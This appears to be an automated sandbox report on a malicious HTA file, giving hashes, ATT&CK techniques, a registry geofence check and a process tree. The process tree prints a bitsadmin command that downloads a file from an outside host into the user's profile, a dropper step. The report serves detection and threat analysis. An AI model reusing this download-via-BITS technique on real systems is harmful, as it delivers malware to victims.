e1fbf062be70edd5ad7baa515a9306cee616045ff9d07608f713f9969b9af71e

Analysis

max time kernel
129s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
17/03/2022, 09:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
impresa116.hta
Size 10KB
Sample220317-lfchdabahk
SHA256 50d72b24653a0b3dcc684fedd39538157acc4864355549986dbaa1a36ccc6b06
MD5 2ea2dd1d185688d0015229b78ab8cfef
SHA1 ea5453d96faf99228c29453c29fee4ec43f794f0
SHA512 3d8765937eb76075d436ac70b2ed62e18f09aca5bad928cae42bf872f6b637f164b5fb30d2dd1efb09d49347be1dae376dea6d6bb98fd7e1818aa1af4aff6d00
MD5 SHA1 SHA512

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3304	1492	WerFault.exe	78

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
3108	bitsadmin.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1492 wrote to memory of 3108	1492	mshta.exe	81
PID 1492 wrote to memory of 3108	1492	mshta.exe	81
PID 1492 wrote to memory of 3108	1492	mshta.exe	81

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\impresa116.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1492
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://brokerlines.top/readme.txt C:\Users\Admin\AppData\Roaming\user.txt
  2⤵
  - Download via BitsAdmin
  PID:3108
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1492 -s 1488
  2⤵
  - Program crash
  PID:3304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1492 -ip 1492
1⤵
PID:2464

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads